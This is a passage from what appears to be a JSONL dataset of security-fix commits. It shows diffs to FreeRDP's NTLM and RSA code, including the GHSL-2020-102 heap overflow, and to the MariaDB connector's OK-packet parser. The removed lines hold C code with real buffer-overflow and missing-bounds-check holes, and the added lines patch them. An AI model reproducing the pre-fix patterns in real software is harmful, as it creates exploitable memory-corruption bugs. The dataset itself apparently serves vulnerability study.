SEC_E_INTERNAL_ERROR;\n \n \tif (ntlm_read_message_header(s, (NTLM_MESSAGE_HEADER*)message) < 0)\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->MessageType != MESSAGE_TYPE_AUTHENTICATE)\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->LmChallengeResponse)) <\n \t 0) /* LmChallengeResponseFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->NtChallengeResponse)) <\n \t 0) /* NtChallengeResponseFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->DomainName)) < 0) /* DomainNameFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->UserName)) < 0) /* UserNameFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->Workstation)) < 0) /* WorkstationFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->EncryptedRandomSessionKey)) <\n \t 0) /* EncryptedRandomSessionKeyFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n+\tif (Stream_GetRemainingLength(s) < 4)\n+\t\tgoto fail;\n \tStream_Read_UINT32(s, message->NegotiateFlags); /* NegotiateFlags (4 bytes) */\n \tcontext->NegotiateKeyExchange =\n \t (message->NegotiateFlags & NTLMSSP_NEGOTIATE_KEY_EXCH) ? TRUE : FALSE;\n \n \tif ((context->NegotiateKeyExchange && !message->EncryptedRandomSessionKey.Len) ||\n \t (!context->NegotiateKeyExchange && message->EncryptedRandomSessionKey.Len))\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)\n \t{\n \t\tif (ntlm_read_version_info(s, &(message->Version)) < 0) /* Version (8 bytes) */\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \t}\n \n \tPayloadBufferOffset = Stream_GetPosition(s);\n \n+\tstatus = SEC_E_INTERNAL_ERROR;\n \tif (ntlm_read_message_fields_buffer(s, &(message->DomainName)) < 0) /* DomainName */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->UserName)) < 0) /* UserName */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->Workstation)) < 0) /* Workstation */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->LmChallengeResponse)) <\n \t 0) /* LmChallengeResponse */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->NtChallengeResponse)) <\n \t 0) /* NtChallengeResponse */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->NtChallengeResponse.Len > 0)\n \t{\n+\t\tint rc;\n \t\tsize_t cbAvFlags;\n \t\twStream* snt =\n \t\t Stream_New(message->NtChallengeResponse.Buffer, message->NtChallengeResponse.Len);\n \n \t\tif (!snt)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n-\n-\t\tif (ntlm_read_ntlm_v2_response(snt, &(context->NTLMv2Response)) < 0)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\tStream_Free(snt, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n+\t\tstatus = SEC_E_INVALID_TOKEN;\n+\t\trc = ntlm_read_ntlm_v2_response(snt, &(context->NTLMv2Response));\n \t\tStream_Free(snt, FALSE);\n+\t\tif (rc < 0)\n+\t\t\tgoto fail;\n+\t\tstatus = SEC_E_INTERNAL_ERROR;\n+\n \t\tcontext->NtChallengeResponse.pvBuffer = message->NtChallengeResponse.Buffer;\n \t\tcontext->NtChallengeResponse.cbBuffer = message->NtChallengeResponse.Len;\n \t\tsspi_SecBufferFree(&(context->ChallengeTargetInfo));\n@@ -838,18 +793,12 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->EncryptedRandomSessionKey)) <\n \t 0) /* EncryptedRandomSessionKey */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->EncryptedRandomSessionKey.Len > 0)\n \t{\n \t\tif (message->EncryptedRandomSessionKey.Len != 16)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(context->EncryptedRandomSessionKey, message->EncryptedRandomSessionKey.Buffer,\n \t\t 16);\n@@ -858,10 +807,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \tlength = Stream_GetPosition(s);\n \n \tif (!sspi_SecBufferAlloc(&context->AuthenticateMessage, length))\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tCopyMemory(context->AuthenticateMessage.pvBuffer, Stream_Buffer(s), length);\n \tbuffer->cbBuffer = length;\n@@ -871,15 +817,15 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t{\n \t\tcontext->MessageIntegrityCheckOffset = (UINT32)Stream_GetPosition(s);\n \n+\t\tstatus = SEC_E_INVALID_TOKEN;\n \t\tif (Stream_GetRemainingLength(s) < 16)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tStream_Read(s, message->MessageIntegrityCheck, 16);\n \t}\n \n+\tstatus = SEC_E_INTERNAL_ERROR;\n+\n #ifdef WITH_DEBUG_NTLM\n \tWLog_DBG(TAG, \"AUTHENTICATE_MESSAGE (length = %\" PRIu32 \")\",\n \t context->AuthenticateMessage.cbBuffer);\n@@ -911,10 +857,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\tcredentials->identity.User = (UINT16*)malloc(message->UserName.Len);\n \n \t\tif (!credentials->identity.User)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(credentials->identity.User, message->UserName.Buffer, message->UserName.Len);\n \t\tcredentials->identity.UserLength = message->UserName.Len / 2;\n@@ -925,10 +868,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\tcredentials->identity.Domain = (UINT16*)malloc(message->DomainName.Len);\n \n \t\tif (!credentials->identity.Domain)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(credentials->identity.Domain, message->DomainName.Buffer,\n \t\t message->DomainName.Len);\n@@ -939,6 +879,10 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t/* Computations beyond this point require the NTLM hash of the password */\n \tcontext->state = NTLM_STATE_COMPLETION;\n \treturn SEC_I_COMPLETE_NEEDED;\n+\n+fail:\n+\tStream_Free(s, FALSE);\n+\treturn status;\n }\n \n /**", "sections": [{"section": "@@ -681,15 +681,15 @@ SECURITY_STATUS ntlm_write_ChallengeMessage(NTLM_CONTEXT* context, PSecBuffer bu\n \n SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer buffer)\n {\n+\tSECURITY_STATUS status = SEC_E_INVALID_TOKEN;\n \twStream* s;\n \tsize_t length;\n-\tUINT32 flags;\n-\tNTLM_AV_PAIR* AvFlags;\n+\tUINT32 flags = 0;\n+\tNTLM_AV_PAIR* AvFlags = NULL;\n \tUINT32 PayloadBufferOffset;\n \tNTLM_AUTHENTICATE_MESSAGE* message;\n \tSSPI_CREDENTIALS* credentials = context->credentials;\n-\tflags = 0;\n-\tAvFlags = NULL;\n+\n \tmessage = &context->AUTHENTICATE_MESSAGE;\n \tZeroMemory(message, sizeof(NTLM_AUTHENTICATE_MESSAGE));\n \ts = Stream_New((BYTE*)buffer->pvBuffer, buffer->cbBuffer);\n", "related": true}, {"section": "@@ -698,130 +698,85 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\treturn SEC_E_INTERNAL_ERROR;\n \n \tif (ntlm_read_message_header(s, (NTLM_MESSAGE_HEADER*)message) < 0)\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->MessageType != MESSAGE_TYPE_AUTHENTICATE)\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->LmChallengeResponse)) <\n \t 0) /* LmChallengeResponseFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->NtChallengeResponse)) <\n \t 0) /* NtChallengeResponseFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->DomainName)) < 0) /* DomainNameFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->UserName)) < 0) /* UserNameFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->Workstation)) < 0) /* WorkstationFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields(s, &(message->EncryptedRandomSessionKey)) <\n \t 0) /* EncryptedRandomSessionKeyFields (8 bytes) */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n+\tif (Stream_GetRemainingLength(s) < 4)\n+\t\tgoto fail;\n \tStream_Read_UINT32(s, message->NegotiateFlags); /* NegotiateFlags (4 bytes) */\n \tcontext->NegotiateKeyExchange =\n \t (message->NegotiateFlags & NTLMSSP_NEGOTIATE_KEY_EXCH) ? TRUE : FALSE;\n \n \tif ((context->NegotiateKeyExchange && !message->EncryptedRandomSessionKey.Len) ||\n \t (!context->NegotiateKeyExchange && message->EncryptedRandomSessionKey.Len))\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INVALID_TOKEN;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)\n \t{\n \t\tif (ntlm_read_version_info(s, &(message->Version)) < 0) /* Version (8 bytes) */\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \t}\n \n \tPayloadBufferOffset = Stream_GetPosition(s);\n \n+\tstatus = SEC_E_INTERNAL_ERROR;\n \tif (ntlm_read_message_fields_buffer(s, &(message->DomainName)) < 0) /* DomainName */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->UserName)) < 0) /* UserName */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->Workstation)) < 0) /* Workstation */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->LmChallengeResponse)) <\n \t 0) /* LmChallengeResponse */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->NtChallengeResponse)) <\n \t 0) /* NtChallengeResponse */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->NtChallengeResponse.Len > 0)\n \t{\n+\t\tint rc;\n \t\tsize_t cbAvFlags;\n \t\twStream* snt =\n \t\t Stream_New(message->NtChallengeResponse.Buffer, message->NtChallengeResponse.Len);\n \n \t\tif (!snt)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n-\n-\t\tif (ntlm_read_ntlm_v2_response(snt, &(context->NTLMv2Response)) < 0)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\tStream_Free(snt, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n+\t\tstatus = SEC_E_INVALID_TOKEN;\n+\t\trc = ntlm_read_ntlm_v2_response(snt, &(context->NTLMv2Response));\n \t\tStream_Free(snt, FALSE);\n+\t\tif (rc < 0)\n+\t\t\tgoto fail;\n+\t\tstatus = SEC_E_INTERNAL_ERROR;\n+\n \t\tcontext->NtChallengeResponse.pvBuffer = message->NtChallengeResponse.Buffer;\n \t\tcontext->NtChallengeResponse.cbBuffer = message->NtChallengeResponse.Len;\n \t\tsspi_SecBufferFree(&(context->ChallengeTargetInfo));\n", "related": true}, {"section": "@@ -838,18 +793,12 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \n \tif (ntlm_read_message_fields_buffer(s, &(message->EncryptedRandomSessionKey)) <\n \t 0) /* EncryptedRandomSessionKey */\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tif (message->EncryptedRandomSessionKey.Len > 0)\n \t{\n \t\tif (message->EncryptedRandomSessionKey.Len != 16)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(context->EncryptedRandomSessionKey, message->EncryptedRandomSessionKey.Buffer,\n \t\t 16);\n", "related": true}, {"section": "@@ -858,10 +807,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \tlength = Stream_GetPosition(s);\n \n \tif (!sspi_SecBufferAlloc(&context->AuthenticateMessage, length))\n-\t{\n-\t\tStream_Free(s, FALSE);\n-\t\treturn SEC_E_INTERNAL_ERROR;\n-\t}\n+\t\tgoto fail;\n \n \tCopyMemory(context->AuthenticateMessage.pvBuffer, Stream_Buffer(s), length);\n \tbuffer->cbBuffer = length;\n", "related": true}, {"section": "@@ -871,15 +817,15 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t{\n \t\tcontext->MessageIntegrityCheckOffset = (UINT32)Stream_GetPosition(s);\n \n+\t\tstatus = SEC_E_INVALID_TOKEN;\n \t\tif (Stream_GetRemainingLength(s) < 16)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INVALID_TOKEN;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tStream_Read(s, message->MessageIntegrityCheck, 16);\n \t}\n \n+\tstatus = SEC_E_INTERNAL_ERROR;\n+\n #ifdef WITH_DEBUG_NTLM\n \tWLog_DBG(TAG, \"AUTHENTICATE_MESSAGE (length = %\" PRIu32 \")\",\n \t context->AuthenticateMessage.cbBuffer);\n", "related": true}, {"section": "@@ -911,10 +857,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\tcredentials->identity.User = (UINT16*)malloc(message->UserName.Len);\n \n \t\tif (!credentials->identity.User)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(credentials->identity.User, message->UserName.Buffer, message->UserName.Len);\n \t\tcredentials->identity.UserLength = message->UserName.Len / 2;\n", "related": true}, {"section": "@@ -925,10 +868,7 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\tcredentials->identity.Domain = (UINT16*)malloc(message->DomainName.Len);\n \n \t\tif (!credentials->identity.Domain)\n-\t\t{\n-\t\t\tStream_Free(s, FALSE);\n-\t\t\treturn SEC_E_INTERNAL_ERROR;\n-\t\t}\n+\t\t\tgoto fail;\n \n \t\tCopyMemory(credentials->identity.Domain, message->DomainName.Buffer,\n \t\t message->DomainName.Len);\n", "related": true}, {"section": "@@ -939,6 +879,10 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t/* Computations beyond this point require the NTLM hash of the password */\n \tcontext->state = NTLM_STATE_COMPLETION;\n \treturn SEC_I_COMPLETE_NEEDED;\n+\n+fail:\n+\tStream_Free(s, FALSE);\n+\treturn status;\n }\n \n /**", "related": true}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/crypto/crypto.c", "commit_id": "8305349a943c68b1bc8c158f431dc607655aadea", "commit_message": "Fixed GHSL-2020-102 heap overflow\n\n(cherry picked from commit 197b16cc15a12813c2e4fa2d6ae9cd9c4a57e581)", "patch": "@@ -96,13 +96,24 @@ BOOL crypto_cert_get_public_key(CryptoCert cert, BYTE** PublicKey, DWORD* Public\n static int crypto_rsa_common(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus,\n const BYTE* exponent, int exponent_size, BYTE* output)\n {\n-\tBN_CTX* ctx;\n+\tBN_CTX* ctx = NULL;\n \tint output_length = -1;\n-\tBYTE* input_reverse;\n-\tBYTE* modulus_reverse;\n-\tBYTE* exponent_reverse;\n-\tBIGNUM *mod, *exp, *x, *y;\n-\tinput_reverse = (BYTE*)malloc(2 * key_length + exponent_size);\n+\tBYTE* input_reverse = NULL;\n+\tBYTE* modulus_reverse = NULL;\n+\tBYTE* exponent_reverse = NULL;\n+\tBIGNUM* mod = NULL;\n+\tBIGNUM* exp = NULL;\n+\tBIGNUM* x = NULL;\n+\tBIGNUM* y = NULL;\n+\tsize_t bufferSize = 2 * key_length + exponent_size;\n+\n+\tif (!input || (length < 0) || (exponent_size < 0) || !modulus || !exponent || !output)\n+\t\treturn -1;\n+\n+\tif (length > bufferSize)\n+\t\tbufferSize = length;\n+\n+\tinput_reverse = (BYTE*)calloc(bufferSize, 1);\n \n \tif (!input_reverse)\n \t\treturn -1;\n@@ -131,16 +142,24 @@ static int crypto_rsa_common(const BYTE* input, int length, UINT32 key_length, c\n \tif (!(y = BN_new()))\n \t\tgoto fail_bn_y;\n \n-\tBN_bin2bn(modulus_reverse, key_length, mod);\n-\tBN_bin2bn(exponent_reverse, exponent_size, exp);\n-\tBN_bin2bn(input_reverse, length, x);\n-\tBN_mod_exp(y, x, exp, mod, ctx);\n+\tif (!BN_bin2bn(modulus_reverse, key_length, mod))\n+\t\tgoto fail;\n+\n+\tif (!BN_bin2bn(exponent_reverse, exponent_size, exp))\n+\t\tgoto fail;\n+\tif (!BN_bin2bn(input_reverse, length, x))\n+\t\tgoto fail;\n+\tif (BN_mod_exp(y, x, exp, mod, ctx) != 1)\n+\t\tgoto fail;\n \toutput_length = BN_bn2bin(y, output);\n+\tif (output_length < 0)\n+\t\tgoto fail;\n \tcrypto_reverse(output, output_length);\n \n-\tif (output_length < (int)key_length)\n+\tif (output_length < key_length)\n \t\tmemset(output + output_length, 0, key_length - output_length);\n \n+fail:\n \tBN_free(y);\n fail_bn_y:\n \tBN_clear_free(x);", "sections": [{"section": "@@ -96,13 +96,24 @@ BOOL crypto_cert_get_public_key(CryptoCert cert, BYTE** PublicKey, DWORD* Public\n static int crypto_rsa_common(const BYTE* input, int length, UINT32 key_length, const BYTE* modulus,\n const BYTE* exponent, int exponent_size, BYTE* output)\n {\n-\tBN_CTX* ctx;\n+\tBN_CTX* ctx = NULL;\n \tint output_length = -1;\n-\tBYTE* input_reverse;\n-\tBYTE* modulus_reverse;\n-\tBYTE* exponent_reverse;\n-\tBIGNUM *mod, *exp, *x, *y;\n-\tinput_reverse = (BYTE*)malloc(2 * key_length + exponent_size);\n+\tBYTE* input_reverse = NULL;\n+\tBYTE* modulus_reverse = NULL;\n+\tBYTE* exponent_reverse = NULL;\n+\tBIGNUM* mod = NULL;\n+\tBIGNUM* exp = NULL;\n+\tBIGNUM* x = NULL;\n+\tBIGNUM* y = NULL;\n+\tsize_t bufferSize = 2 * key_length + exponent_size;\n+\n+\tif (!input || (length < 0) || (exponent_size < 0) || !modulus || !exponent || !output)\n+\t\treturn -1;\n+\n+\tif (length > bufferSize)\n+\t\tbufferSize = length;\n+\n+\tinput_reverse = (BYTE*)calloc(bufferSize, 1);\n \n \tif (!input_reverse)\n \t\treturn -1;\n", "related": true}, {"section": "@@ -131,16 +142,24 @@ static int crypto_rsa_common(const BYTE* input, int length, UINT32 key_length, c\n \tif (!(y = BN_new()))\n \t\tgoto fail_bn_y;\n \n-\tBN_bin2bn(modulus_reverse, key_length, mod);\n-\tBN_bin2bn(exponent_reverse, exponent_size, exp);\n-\tBN_bin2bn(input_reverse, length, x);\n-\tBN_mod_exp(y, x, exp, mod, ctx);\n+\tif (!BN_bin2bn(modulus_reverse, key_length, mod))\n+\t\tgoto fail;\n+\n+\tif (!BN_bin2bn(exponent_reverse, exponent_size, exp))\n+\t\tgoto fail;\n+\tif (!BN_bin2bn(input_reverse, length, x))\n+\t\tgoto fail;\n+\tif (BN_mod_exp(y, x, exp, mod, ctx) != 1)\n+\t\tgoto fail;\n \toutput_length = BN_bn2bin(y, output);\n+\tif (output_length < 0)\n+\t\tgoto fail;\n \tcrypto_reverse(output, output_length);\n \n-\tif (output_length < (int)key_length)\n+\tif (output_length < key_length)\n \t\tmemset(output + output_length, 0, key_length - output_length);\n \n+fail:\n \tBN_free(y);\n fail_bn_y:\n \tBN_clear_free(x);", "related": true}]} +{"owner": "mariadb-corporation", "repo": "mariadb-connector-c", "language": "C", "file_name": "libmariadb/mariadb_lib.c", "commit_id": "2759b87d72926b7c9b5426437a7c8dd15ff57945", "commit_message": "sanity checks for client-supplied OK packet content\n\nreported by Matthias Kaiser, Apple Information Security", "patch": "@@ -81,6 +81,8 @@\n #define ASYNC_CONTEXT_DEFAULT_STACK_SIZE (4096*15)\n #define MA_RPL_VERSION_HACK \"5.5.5-\"\n \n+#define CHARSET_NAME_LEN 64\n+\n #undef max_allowed_packet\n #undef net_buffer_length\n extern ulong max_allowed_packet; /* net.c */\n@@ -2139,17 +2141,22 @@ mysql_send_query(MYSQL* mysql, const char* query, unsigned long length)\n \n int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n {\n+ uchar *end= mysql->net.read_pos+length;\n size_t item_len;\n mysql->affected_rows= net_field_length_ll(&pos);\n mysql->insert_id=\t net_field_length_ll(&pos);\n mysql->server_status=uint2korr(pos);\n pos+=2;\n mysql->warning_count=uint2korr(pos);\n pos+=2;\n- if (pos < mysql->net.read_pos+length)\n+ if (pos > end)\n+ goto corrupted;\n+ if (pos < end)\n {\n if ((item_len= net_field_length(&pos)))\n mysql->info=(char*) pos;\n+ if (pos + item_len > end)\n+ goto corrupted;\n \n /* check if server supports session tracking */\n if (mysql->server_capabilities & CLIENT_SESSION_TRACKING)\n@@ -2160,23 +2167,26 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (mysql->server_status & SERVER_SESSION_STATE_CHANGED)\n {\n int i;\n- if (pos < mysql->net.read_pos + length)\n+ if (pos < end)\n {\n LIST *session_item;\n MYSQL_LEX_STRING *str= NULL;\n enum enum_session_state_type si_type;\n uchar *old_pos= pos;\n- size_t item_len= net_field_length(&pos); /* length for all items */\n+\n+ item_len= net_field_length(&pos); /* length for all items */\n+ if (pos + item_len > end)\n+ goto corrupted;\n+ end= pos + item_len;\n \n /* length was already set, so make sure that info will be zero terminated */\n if (mysql->info)\n *old_pos= 0;\n \n- while (item_len > 0)\n+ while (pos < end)\n {\n size_t plen;\n char *data;\n- old_pos= pos;\n si_type= (enum enum_session_state_type)net_field_length(&pos);\n switch(si_type) {\n case SESSION_TRACK_SCHEMA:\n@@ -2186,16 +2196,14 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (si_type != SESSION_TRACK_STATE_CHANGE)\n net_field_length(&pos); /* ignore total length, item length will follow next */\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n if (!(session_item= ma_multi_malloc(0,\n &session_item, sizeof(LIST),\n &str, sizeof(MYSQL_LEX_STRING),\n &data, plen,\n NULL)))\n- {\n- ma_clear_session_state(mysql);\n- SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n- return -1;\n- }\n+ goto oom;\n str->length= plen;\n str->str= data;\n memcpy(str->str, (char *)pos, plen);\n@@ -2218,41 +2226,40 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (!strncmp(str->str, \"character_set_client\", str->length))\n set_charset= 1;\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n if (!(session_item= ma_multi_malloc(0,\n &session_item, sizeof(LIST),\n &str, sizeof(MYSQL_LEX_STRING),\n &data, plen,\n NULL)))\n- {\n- ma_clear_session_state(mysql);\n- SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n- return -1;\n- }\n+ goto oom;\n str->length= plen;\n str->str= data;\n memcpy(str->str, (char *)pos, plen);\n pos+= plen;\n session_item->data= str;\n mysql->extension->session_state[si_type].list= list_add(mysql->extension->session_state[si_type].list, session_item);\n- if (set_charset &&\n+ if (set_charset && str->length < CHARSET_NAME_LEN &&\n strncmp(mysql->charset->csname, str->str, str->length) != 0)\n {\n- char cs_name[64];\n- MARIADB_CHARSET_INFO *cs_info;\n+ char cs_name[CHARSET_NAME_LEN];\n+ const MARIADB_CHARSET_INFO *cs_info;\n memcpy(cs_name, str->str, str->length);\n cs_name[str->length]= 0;\n- if ((cs_info = (MARIADB_CHARSET_INFO *)mysql_find_charset_name(cs_name)))\n+ if ((cs_info = mysql_find_charset_name(cs_name)))\n mysql->charset= cs_info;\n }\n }\n break;\n default:\n /* not supported yet */\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n pos+= plen;\n break;\n }\n- item_len-= (pos - old_pos);\n }\n }\n for (i= SESSION_TRACK_BEGIN; i <= SESSION_TRACK_END; i++)\n@@ -2267,6 +2274,16 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n else if (mysql->server_capabilities & CLIENT_SESSION_TRACKING)\n ma_clear_session_state(mysql);\n return(0);\n+\n+oom:\n+ ma_clear_session_state(mysql);\n+ SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n+ return 